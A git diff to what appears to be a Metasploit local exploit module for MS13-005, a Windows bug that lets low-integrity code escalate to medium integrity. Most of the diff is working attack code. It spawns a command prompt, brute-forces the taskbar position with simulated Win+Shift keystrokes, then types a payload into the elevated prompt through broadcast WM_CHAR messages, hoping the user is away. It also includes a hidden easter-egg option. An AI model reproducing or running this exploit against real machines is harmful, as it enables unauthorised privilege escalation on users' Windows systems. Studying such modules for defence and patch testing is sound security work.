diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb index 6a8470400a..ad35a287b3 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb @@ -48,6 +48,7 @@ class ApiConstants # Slurp in a giant list of known constants. # def self.add_constants(win_const_mgr) + win_const_mgr.add_const('HWND_BROADCAST',0x00000FFFF) win_const_mgr.add_const('MCI_DGV_SETVIDEO_TINT',0x00004003) win_const_mgr.add_const('EVENT_TRACE_FLAG_PROCESS',0x00000001) win_const_mgr.add_const('TF_LBI_TOOLTIP',0x00000004) diff --git a/modules/exploits/windows/local/ms13_005.rb b/modules/exploits/windows/local/ms13_005.rb index 63f75d6ac7..5d649ac053 100644 --- a/modules/exploits/windows/local/ms13_005.rb +++ b/modules/exploits/windows/local/ms13_005.rb @@ -16,8 +16,19 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'MS13-005 Low Integrity to Medium Integrity Privilege Escalation', + 'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation', 'Description' => %q{ + The Windows kernel does not properly isolate broadcast messages from low integrity + applications from medium or high integrity applications. This allows commands to be + broadcasted to an open medium or high integrity command prompts allowing escalation + of privileges. We can spawn a medium integrity command prompt, after spawning a low + integrity command prompt, by using the Win+Shift+# combination to specify the position + of the command prompt on the taskbar. We can then broadcast our command and hope that + the user is away and doesn't corrupt it by interracting with the UI. + Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, + Server 2012, RT. Spawning a command prompt with the shortcut key does not work in + Vista so you will have to check if the user is already running a command prompt + and set SPAWN_PROMPT false. }, 'License' => MSF_LICENSE, 'Author' => @@ -34,9 +45,27 @@ class Metasploit3 < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, - 'DisclosureDate'=> "Nov 27 2912" - # References CVE-2013-0008 + 'DisclosureDate'=> "Nov 27 2012", + 'References' => + [ + [ 'CVE', '2013-0008' ], + [ 'MSB', 'MS13-005' ], + [ 'OSVDB', '88966'], + [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ] + ] )) + + register_options( + [ + OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('EEGG', [false, '',]) + ] + ) end def win_shift(number) @@ -44,11 +73,13 @@ class Metasploit3 < Msf::Exploit::Local bscan = 0x81 + number client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0) + sleep(0.01) client.railgun.user32.keybd_event(vk, bscan, 0, 0) - + sleep(0.01) + + client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0) client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0) - client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0) end def count_cmd_procs @@ -58,48 +89,67 @@ class Metasploit3 < Msf::Exploit::Local count += 1 end end - puts count - + + vprint_status("Cmd prompt count: #{count}") return count end + + def cleanup + if datastore['SPAWN_PROMPT'] + vprint_status("Rehiding window...") + client.railgun.user32.ShowWindow(@hwin, 0) + end + end - # Run Method for when run command is issued def exploit - @payload_name = datastore['PAYLOAD'] - @payload_arch = framework.payloads.create(@payload_name).arch - # syinfo is only on meterpreter sessions + e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg==" print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? - hwin = client.railgun.kernel32.GetConsoleWindow()['return'] - if hwin == nil - hwin = client.railgun.user32.GetForegroundWindow()['return'] - end - puts client.railgun.user32.ShowWindow(hwin, 0) - puts client.railgun.user32.ShowWindowAsync(hwin, 5) - # Spawn low integrity cmd.exe - li_cmd_pid = client.sys.process.execute("cmd.exe", nil, {'Hidden' => false }).pid + + if datastore['SPAWN_PROMPT'] + @hwin = client.railgun.kernel32.GetConsoleWindow()['return'] + if @hwin == nil + @hwin = client.railgun.user32.GetForegroundWindow()['return'] + end + #client.railgun.user32.ShowWindow(@hwin, 0) + #client.railgun.user32.ShowWindow(@hwin, 5) + + # Spawn low integrity cmd.exe + print_status("Spawning Low Integrity Cmd Prompt") + windir = client.fs.file.expand_path("%windir%") + li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid - count = count_cmd_procs - # Win+Shift+? - number = 0 - begin # Ruby DoWhile! - i = (9 - number) - win_shift(number) - number += 1 - sleep(1) - end while count_cmd_procs == count and number <= 9 - print_status "Spawned!!!" + count = count_cmd_procs + spawned = false + # Bruteforce taskbar position Win+Shift+? + print_status("Bruteforcing Taskbar Position") + 9.downto(1) do |number| + vprint_status("Attempting Win+Shift+#{number}") + win_shift(number) + sleep(1) - client.sys.process.kill(li_cmd_pid) - payload = "calc.exe" - hwnd_broadcast = 0xffff - wm_char = 0x0102 - payload.each_char do |c| - client.railgun.user32.SendMessageA(hwnd_broadcast, wm_char, c.unpack('c').first, 0) + if count_cmd_procs > count + print_good("Spawned Medium Integrity Cmd Prompt") + spawned = true + break + end + end + + client.sys.process.kill(li_cmd_pid) + + fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned end - - client.railgun.user32.SendMessageA(hwnd_broadcast, wm_char, 'VK_RETURN', 0) - + + print_status("Broadcasting payload command to prompt... I hope the user is asleep!") + payload = Rex::Text.decode_base64(e) if datastore['EEGG'] + payload.each_char do |c| + print c + client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0) + sleep(0.01) + end + print_line + print_status("Executing command...") + client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0) end end